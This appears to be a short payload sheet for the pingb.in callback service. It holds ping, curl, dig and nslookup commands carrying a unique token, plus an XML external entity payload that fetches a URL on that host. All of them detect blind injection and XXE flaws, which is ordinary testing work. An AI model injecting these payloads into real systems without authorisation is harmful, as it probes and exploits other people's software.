$ ping -c1 -p 00eb5f352f8ce825165e5f7563cd3300 pingb.in
 

$ curl pingb.in/p/eb5f352f8ce825165e5f7563cd33
 

$ dig eb5f352f8ce825165e5f7563cd33 @pingb.in
 

$ dig eb5f352f8ce825165e5f7563cd33.ns.pingb.in
 

C:\> nslookup eb5f352f8ce825165e5f7563cd33 pingb.in
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/eb5f352f8ce825165e5f7563cd33">]>
    <foo>&xxe;</foo>